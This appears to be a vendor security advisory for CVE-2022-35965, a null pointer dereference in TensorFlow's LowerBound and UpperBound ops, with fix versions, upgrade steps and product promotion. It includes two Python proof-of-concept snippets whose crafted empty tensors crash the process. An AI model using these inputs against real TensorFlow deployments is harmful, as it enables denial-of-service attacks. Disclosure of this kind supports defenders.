CVE-2022-35965

TensorFlow vulnerable to segfault in LowerBound and UpperBound

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Attribution

This vulnerability has been reported by Neophytos Christou, Secure Systems Labs, Brown University.

If LowerBound or UpperBound is given an emptysorted_inputs input, it results in a nullptr dereference, leading to a segfault that can be used to trigger a denial of service attack.

import tensorflow as tf

out_type = tf.int32
sorted_inputs = tf.constant([], shape=[10,0], dtype=tf.float32)
values = tf.constant([], shape=[10,10,0,10,0], dtype=tf.float32)
tf.raw_ops.LowerBound(sorted_inputs=sorted_inputs, values=values, out_type=out_type)

import tensorflow as tf

out_type = tf.int64
sorted_inputs = tf.constant([], shape=[2,2,0,0,0,0,0,2], dtype=tf.float32)
values = tf.constant(0.372660398, shape=[2,4], dtype=tf.float32)
tf.raw_ops.UpperBound(sorted_inputs=sorted_inputs, values=values, out_type=out_type)

The application dereferences a null pointer, causing a crash. Typical impact: denial of service via crash.

CVE-2022-35965 has a CVSS score of 5.9 (Medium). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2.7.2, 2.8.1, 2.9.1); upgrading removes the vulnerable code path.

Kodem intelligence

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We have patched the issue in GitHub commit bce3717eaef4f769019fd18e990464ca4a2efeea.

The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.

1. What is CVE-2022-35965? CVE-2022-35965 is a medium-severity null pointer dereference vulnerability in tensorflow (pip), affecting versions < 2.7.2. It is fixed in 2.7.2, 2.8.1, 2.9.1. The application dereferences a null pointer, causing a crash.
2. How severe is CVE-2022-35965? CVE-2022-35965 has a CVSS score of 5.9 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which packages are affected by CVE-2022-35965?
   • tensorflow (pip) (versions < 2.7.2)
   • tensorflow-cpu (pip) (versions < 2.7.2)
   • tensorflow-gpu (pip) (versions < 2.7.2)
4. Is there a fix for CVE-2022-35965? Yes. CVE-2022-35965 is fixed in 2.7.2, 2.8.1, 2.9.1. Upgrade to this version or later.
5. Is CVE-2022-35965 exploitable, and should I be worried? Whether CVE-2022-35965 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2022-35965 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2022-35965?
   • Upgrade tensorflow to 2.7.2 or later
   • Upgrade tensorflow to 2.8.1 or later
   • Upgrade tensorflow to 2.9.1 or later
   • Upgrade tensorflow-cpu to 2.7.2 or later
   • Upgrade tensorflow-cpu to 2.8.1 or later
   • Upgrade tensorflow-cpu to 2.9.1 or later
   • Upgrade tensorflow-gpu to 2.7.2 or later
   • Upgrade tensorflow-gpu to 2.8.1 or later
   • Upgrade tensorflow-gpu to 2.9.1 or later

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